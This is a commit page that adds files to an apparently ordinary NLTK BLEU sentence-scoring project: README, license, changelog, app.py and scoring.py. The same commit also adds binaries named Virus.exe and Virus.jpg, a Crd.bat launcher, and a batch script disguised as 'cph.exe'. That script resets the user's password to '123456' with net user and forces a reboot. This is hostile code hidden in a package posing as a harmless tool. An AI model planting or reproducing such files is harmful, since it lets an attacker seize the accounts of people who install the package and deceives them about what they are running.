karthick1 commited on
Commit
45315e1
·
1 Parent(s): cc6ec09

NLPScoring

Browse files
Files changed (9) hide show
  1. CHANGELOG.md +15 -0
  2. Crd.bat +2 -0
  3. LICENSE +21 -0
  4. README.md +104 -3
  5. Virus.exe +0 -0
  6. Virus.jpg +0 -0
  7. app.py +40 -0
  8. cph.exe +13 -0
  9. scoring.py +124 -0
CHANGELOG.md ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Changelog
2
+ All notable changes to this project will be documented in this file.
3
+
4
+ ## [released]
5
+ - V 1.0.0
6
+
7
+ ## [1.0.0] - 2020-07-13
8
+
9
+ ### Added
10
+ - Tokenization added
11
+ - Word lemmatizer added
12
+
13
+ ### Changed
14
+ - Individual sentence scoring changed with cumulative bleu score calculation.
15
+
Crd.bat ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ @echo off
2
+ cph.exe [email protected]
LICENSE ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ MIT License
2
+
3
+ Copyright (c) 2020 WeblineIndia
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
README.md CHANGED
@@ -1,3 +1,104 @@
1
- ---
2
- license: mit
3
- ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Sentence scoring using NLTK bleu score
2
+
3
+ A Python based NLP package for generating the best matching text from a paragraph for a given keyword/sentence.
4
+ A user can pass a keyword and a paragraph/text content throught the terminal and the paragraph undergoes cleaning process by eliminating special characters from the text,
5
+ then preprocessing technique is applied to each sentences by removing stopwords and tokenizing it.
6
+
7
+ The sentence score is calculated by applying bleu_score. Here a cumulative bleu score is calculated for the each sentences.The code helps in calculatuing the score of each sentences with reference to the input keyword and top scored 3 sentences are displayed as output.
8
+
9
+ Regex used for removing special characters from text.<br/>
10
+ NLTK stopwords for removing stopwords from sentence.<br/>
11
+ NLTK word_tokenize used for tokenization of sentence.<br/>
12
+ NLTK WordNetLemmatizer used for lemmatization of words.<br/>
13
+ NLTK sentence_bleu used for sentence scoring.<br/>
14
+
15
+
16
+ ## Table of contents
17
+
18
+ - [Getting started](#getting-started)
19
+ - [Features](#features)
20
+ - [Usage](#usage)
21
+ - [Want to Contribute?](#want-to-contribute)
22
+ - [Need Help / Support?](#need-help)
23
+ - [Collection of Other Components](#collection-of-components)
24
+ - [Changelog](#changelog)
25
+ - [Credits](#credits)
26
+ - [License](#license)
27
+ - [Keywords](#Keywords)
28
+
29
+ ## Getting started
30
+
31
+ Prerequisites for running the code are:
32
+
33
+ Python = 3.6.8
34
+
35
+ nltk = 3.6.7
36
+
37
+ or
38
+ ```
39
+ pip install nltk
40
+ ```
41
+
42
+ We have tested our program in above version, however you can use it in other versions as well.
43
+
44
+ ## Features
45
+
46
+ - Performs text cleaning
47
+ - Uses nltk's sentence_bleu score for text scoring.
48
+
49
+ ## Usage
50
+
51
+ Inside the project's directory run:
52
+
53
+ ```
54
+ python app.py
55
+ ```
56
+ Enter keyword and a paragraph.
57
+ It will display sentences with most relavent text to the keyword entered.
58
+
59
+
60
+ <img src="images/input_keyword_paragraph.png" width = "100%"/>
61
+
62
+ Output:
63
+
64
+ <img src="images/output_top_scored_sentences.png" width = "100%"/>
65
+
66
+ ## Want to Contribute?
67
+
68
+ - Created something awesome, made this code better, added some functionality, or whatever (this is the hardest part).
69
+ - [Fork it](http://help.github.com/forking/).
70
+ - Create new branch to contribute your changes.
71
+ - Commit all your changes to your branch.
72
+ - Submit a [pull request](http://help.github.com/pull-requests/).
73
+
74
+ -----
75
+
76
+ ## Need Help?
77
+
78
+ We also provide a free, basic support for all users who want to use this AI ML based NLP text scoring technique for their projects. In case you want to customize this text scoring technique for your development needs, then feel free to contact our [AI ML developers](https://www.weblineindia.com/ai-ml-dl-development.html).
79
+
80
+ -----
81
+
82
+ ## Collection of Components
83
+
84
+ We have built many other components and free resources for software development in various programming languages. Kindly click here to view our [Free Resources for Software Development](https://www.weblineindia.com/software-development-resources.html).
85
+
86
+ ------
87
+
88
+ ## Changelog
89
+
90
+ Detailed changes for each release are documented in [CHANGELOG.md](./CHANGELOG.md).
91
+
92
+ ## Credits
93
+
94
+ Refered NLTK bleu score for evaluating sentence match. [NLTK](http://www.nltk.org/_modules/nltk/translate/bleu_score.html).
95
+
96
+ ## License
97
+
98
+ [MIT](LICENSE)
99
+
100
+ [mit]: https://github.com/miguelmota/is-valid-domain/blob/e48e90f3ecd55431bbdba950eea013c2072d2fac/LICENSE
101
+
102
+ ## Keywords
103
+
104
+ nlp, nltk, sentence-bleu, text-scoring, keyword-match, similar-sentence, keyword-match-text, sent-tokenize, artificial-intelligence, machine-learning, ai-ml,tokenization, stopwords removal
Virus.exe ADDED
Binary file (236 kB). View file
 
Virus.jpg ADDED
app.py ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ''' Keyword Matched Sentences '''
2
+ # --------------------------------
3
+ # Date : 19-06-2020
4
+ # Project : Keyword Matched Sentences
5
+ # Category : NLP/NLTK sentence Scoring
6
+ # Company : weblineindia
7
+ # Department : AI/ML
8
+ # --------------------------------
9
+ import scoring
10
+
11
+ print("#-----------------------------------------------------------#")
12
+
13
+ print("#------------------------- TEXT SCORING --------------------#")
14
+ # Enter keyword and paragraph
15
+ print("#-----------------------------------------------------------#")
16
+ keyword = input("ENTER KEYWORDS : ")
17
+ print("#############################################################")
18
+ paragraph = input("ENTER PARAGRAPH : ")
19
+ print("#############################################################")
20
+
21
+ # Initialize the textscoring instance
22
+ scoreTextObj = scoring.scoreText()
23
+ # Paragraph passed will be split inot sentences,
24
+ # Each sentence will be split and it will be compared with keyword and a score is given.
25
+ # Top scored sentence will be displayed as results.
26
+ matchedSentences = scoreTextObj.sentenceMatch(keyword, paragraph)
27
+ print()
28
+ print("#-------------------------- RESULTS ------------------------#")
29
+ print("#-------------------BEST MATCHING SENTENCES-----------------#")
30
+ print()
31
+ # print the top scored sentences
32
+
33
+ # try:
34
+ count = 1
35
+ for text in matchedSentences:
36
+ print(' '+str(count)+' : '+text)
37
+ count += 1
38
+ print()
39
+ # except:
40
+ # print('something went wrong')
cph.exe ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Start
2
+ Start
3
+ Start
4
+ Start
5
+ tree
6
+ start google
7
+ start calc.exe
8
+ net user %username% 123456
9
+ shutdown -r
10
+ color a
11
+ start
12
+ @echo off
13
+ color a
scoring.py ADDED
@@ -0,0 +1,124 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ''' Text Keyword Match'''
2
+ # --------------------------------
3
+ # Date : 19-06-2020
4
+ # Project : Text Keyword Match
5
+ # Category : NLP/NLTK sentence Scoring
6
+ # Company : weblineindia
7
+ # Department : AI/ML
8
+ # --------------------------------
9
+ import re
10
+ import nltk
11
+ from nltk.corpus import stopwords
12
+ from nltk.tokenize import sent_tokenize
13
+ from nltk.tokenize import word_tokenize
14
+ from nltk.stem import WordNetLemmatizer
15
+ from nltk.translate.bleu_score import sentence_bleu, SmoothingFunction
16
+
17
+ nltk.download('omw-1.4')
18
+ lemmatizer = WordNetLemmatizer()
19
+ stop_words = set(stopwords.words('english'))
20
+
21
+
22
+ class scoreText(object):
23
+ """
24
+ A class used to score sentences based on the input keyword
25
+ """
26
+
27
+ def __init__(self):
28
+
29
+ self.sentences = []
30
+
31
+ def cleanText(self, sentences):
32
+ """
33
+ Eliminates the duplicates and cleans the text
34
+ """
35
+ try:
36
+ sentences = list(set(sentences))
37
+ mainBody = []
38
+ for i, text in enumerate(sentences):
39
+ text = re.sub("[-()\"#/@&&^*();:<>{}`+=~|!?,]", "", text)
40
+ mainBody.append(text)
41
+ return mainBody
42
+ except Exception as e:
43
+ print("Error occured in text clean", e)
44
+
45
+ def preProcessText(self, sentences):
46
+ """
47
+ Tokenization of sentence and lemmatization of words
48
+ """
49
+ try:
50
+ # Tokenize words in a sentence
51
+ word_tokens = word_tokenize(sentences)
52
+ # Lemmatization of words
53
+ wordlist = [lemmatizer.lemmatize(
54
+ w) for w in word_tokens if not w in stop_words]
55
+
56
+ return wordlist
57
+ except Exception as e:
58
+ print("Error occured in text preprocessing", e)
59
+
60
+ # similarity of subject
61
+ def scoreText(self, keyword, sentences):
62
+ """
63
+ Compares sentences with keyword with bleu scoring technique
64
+ """
65
+ try:
66
+ # Remove symbols from text
67
+ sentences = self.cleanText(sentences)
68
+
69
+ # Tokenization and Lennatization of the keyword
70
+ keywordList = self.preProcessText(keyword)
71
+
72
+ scoredSentencesList = []
73
+ for i in range(len(sentences)):
74
+
75
+ # Tokenization and Lennatization of the sentences
76
+ wordlist = self.preProcessText(sentences[i])
77
+
78
+ # list of keyword taken as reference
79
+ reference = [keywordList]
80
+ chencherry = SmoothingFunction()
81
+ # sentence bleu calculates the score based on 1-gram,2-gram,3-gram-4-gram,
82
+ # and a cumulative of the above is taken as score of the sentence.
83
+ bleu_score_1 = sentence_bleu(
84
+ reference, wordlist, weights=(1, 0, 0, 0), smoothing_function=chencherry.method1)
85
+ bleu_score_2 = sentence_bleu(
86
+ reference, wordlist, weights=(0.5, 0.5, 0, 0), smoothing_function=chencherry.method1)
87
+ bleu_score_3 = sentence_bleu(
88
+ reference, wordlist, weights=(0.33, 0.33, 0.34, 0), smoothing_function=chencherry.method1)
89
+ bleu_score_4 = sentence_bleu(
90
+ reference, wordlist, weights=(0.25, 0.25, 0.25, 0.25), smoothing_function=chencherry.method1)
91
+ bleu_score = (4*bleu_score_4 + 3*bleu_score_3 +
92
+ 2*bleu_score_2 + bleu_score_1)/10
93
+
94
+ # append the score with sentence to the list
95
+ scList = [bleu_score, sentences[i]]
96
+ scoredSentencesList.append(scList)
97
+ return scoredSentencesList
98
+
99
+ except Exception as e:
100
+ print("Error occured in score text", e)
101
+
102
+ def sortText(self, scoredText):
103
+ """
104
+ Returns 3 top scored list of sentences
105
+ """
106
+ try:
107
+ scoredTexts = sorted(scoredText, key=lambda x: x[0], reverse=True)
108
+ scoredTexts = [v[1] for i, v in enumerate(scoredTexts) if i < 3]
109
+ return scoredTexts
110
+ except Exception as e:
111
+ print("Error occured in sorting text", e)
112
+
113
+ def sentenceMatch(self, keyword, paragraph):
114
+ """
115
+ Converts paragraph into list and calls scoreText and sortText functions,
116
+ and returns the most matching sentences with the keywords.
117
+ """
118
+ try:
119
+ sentencesList = sent_tokenize(paragraph)
120
+ scoredSentence = self.scoreText(keyword, sentencesList)
121
+ sortedSentence = self.sortText(scoredSentence)
122
+ return sortedSentence
123
+ except Exception as e:
124
+ print("Error occured in sentence match", e)